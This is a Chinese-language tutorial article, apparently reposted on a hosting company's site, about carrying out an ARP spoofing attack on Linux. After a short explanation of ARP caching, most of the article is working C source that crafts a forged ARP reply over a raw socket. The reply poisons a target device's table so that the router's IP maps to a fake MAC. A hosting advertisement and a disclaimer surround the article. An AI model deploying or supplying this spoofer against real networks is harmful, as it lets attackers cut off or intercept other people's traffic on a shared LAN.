今天就跟大家聊聊有關Linux中怎么實現(xiàn)arp攻擊,可能很多人都不太了解,為了讓大家更加了解,小編給大家總結(jié)了以下內(nèi)容,希望大家根據(jù)這篇文章可以有所收獲。
創(chuàng)新互聯(lián)建站基于成都重慶香港及美國等地區(qū)分布式IDC機房數(shù)據(jù)中心構建的電信大帶寬,聯(lián)通大帶寬,移動大帶寬,多線BGP大帶寬租用,是為眾多客戶提供專業(yè)德陽服務器托管報價,主機托管價格性價比高,為金融證券行業(yè)服務器托管,ai人工智能服務器托管提供bgp線路100M獨享,G口帶寬及機柜租用的專業(yè)成都idc公司。
ARP:Address Resolution Protocol 地址解析協(xié)議。它是一個鏈路層的協(xié)議。工作在OSI模型的第二層。
由于以太網(wǎng)交換設備不能直接識別32位的IP地址。事實上它們都是以48位的MAC地址傳輸數(shù)據(jù)的,所以在工作時需要存在一種MAC地址和IP地址的對應關系。而ARP協(xié)議就是用來確定這種關系的。
網(wǎng)絡中所有的機器都包含ARP緩存,它存儲了本地網(wǎng)絡中最近時間的MAC地址和IP地址的對應關系。正常情況下當ARP工作時,請求主機發(fā)出一個含有目標IP的以太網(wǎng)廣播數(shù)據(jù),然后目標IP會發(fā)出一個含有IP地址和對應MAC地址的應答包。這樣請求主機就能夠獲得一對IP地址和MAC地址,然后將這一組對應關系放入ARP緩存。ARP緩存表采用老化機制,一段時間內(nèi)表中的某一行不用就會被刪除。
而對于一臺局域網(wǎng)上的主機,如果收到一個ARP應答報文,即便它并沒有發(fā)送請求報文或者并不是它目標IP的應答報文,該主機也會將報文中的IP和MAC地址存入緩存。
如此,我們只要讓被攻擊的目標主機相信我們的MAC地址是網(wǎng)關的MAC地址。讓目標主機的網(wǎng)關相信我們的MAC地址是被攻擊的
目標主機的MAC,那么所有要發(fā)往目標主機的報文就會被發(fā)到我們的主機上。
靈魂作圖時間
下面進行一次實踐,攻擊者為我的Ubuntu系統(tǒng)的電腦,被攻擊的為我的華為手機
代碼如下:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/if_ether.h>
#include <net/if_arp.h>
#include <netpacket/packet.h>
#include <net/if.h>
#include <net/ethernet.h>
#include <arpa/inet.h>
#define print_errno(fmt, ...) \
printf("[%d] errno=%d (%s) #" fmt, \
__LINE__, errno, strerror(errno), ####__VA_ARGS__)
static unsigned char s_ip_frame_data[ETH_DATA_LEN];
static unsigned int s_ip_frame_size = 0;
int main(int argc,char** argv)
{
struct ether_header *eth = NULL;
struct ether_arp *arp = NULL;
struct ifreq ifr;
struct in_addr daddr;
struct in_addr saddr;
struct sockaddr_ll sll;
int skfd;int n = 0;
unsigned char dmac[ETH_ALEN] = {0x38,0x37,0x8B,0xC3,0x61,0x4D};//被攻擊對象的mac地址
daddr.s_addr = inet_addr("192.168.0.125");//被攻擊對象的ip地址
unsigned char smac[ETH_ALEN] = {0x01,0x02,0x03,0x04,0x05,0x06};//使被攻擊對象的arp表改為這個假的mac地址
saddr.s_addr = inet_addr("192.168.0.1");//路由器
memset(s_ip_frame_data, 0x00, sizeof(unsigned char)*ETH_DATA_LEN);
skfd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (skfd < 0) {
print_errno("socket() failed! \n");
return -1;
}
bzero(&ifr,sizeof(ifr));
strcpy(ifr.ifr_name, "wlp8s0");//這里是我的網(wǎng)卡名字,要改為你的網(wǎng)卡名字,使用ifconfig查看
if (-1 == ioctl(skfd, SIOCGIFINDEX, &ifr)) {
print_errno("ioctl() SIOCGIFINDEX failed!\n");
return -1;
}
printf("ifr_ifindex = %d\n", ifr.ifr_ifindex);
bzero(&sll, sizeof(sll));
sll.sll_ifindex = ifr.ifr_ifindex;
sll.sll_family = PF_PACKET;
sll.sll_protocol = htons(ETH_P_ALL);
eth = (struct ether_header*)s_ip_frame_data;
eth->ether_type = htons(ETHERTYPE_ARP);
memcpy(eth->ether_dhost, dmac, ETH_ALEN);
memcpy(eth->ether_shost, smac, ETH_ALEN);
arp = (struct ether_arp*)(s_ip_frame_data + sizeof(struct ether_header));
arp->arp_hrd = htons(ARPHRD_ETHER);
arp->arp_pro = htons(ETHERTYPE_IP);
arp->arp_hln = ETH_ALEN;
arp->arp_pln = 4;
arp->arp_op = htons(ARPOP_REPLY);//ARPOP_REQUEST ARPOP_REPLY 我使用的是replay,至于request你自己去弄,我就不說了
memcpy(arp->arp_sha, smac, ETH_ALEN);
memcpy(arp->arp_spa, &saddr.s_addr, 4);
memcpy(arp->arp_tha, dmac, ETH_ALEN);
memcpy(arp->arp_tpa, &daddr.s_addr, 4);
s_ip_frame_size = sizeof(struct ether_header) + sizeof(struct ether_arp);
n = sendto(skfd, s_ip_frame_data, s_ip_frame_size, 0, \
(struct sockaddr*)&sll, sizeof(sll));
if (n < 0) {
print_errno("sendto() failed!\n");
}else {
printf("sendto() n = %d \n", n);
}
close(skfd);
return 0;
}
看完上述內(nèi)容,你們對Linux中怎么實現(xiàn)arp攻擊有進一步的了解嗎?如果還想了解更多知識或者相關內(nèi)容,請關注創(chuàng)新互聯(lián)行業(yè)資訊頻道,感謝大家的支持。
當前題目:Linux中怎么實現(xiàn)arp攻擊
URL鏈接:http://jinyejixie.com/article26/jdojcg.html
成都網(wǎng)站建設公司_創(chuàng)新互聯(lián),為您提供動態(tài)網(wǎng)站、做網(wǎng)站、網(wǎng)站建設、移動網(wǎng)站建設、品牌網(wǎng)站設計、電子商務
聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時需注明來源: 創(chuàng)新互聯(lián)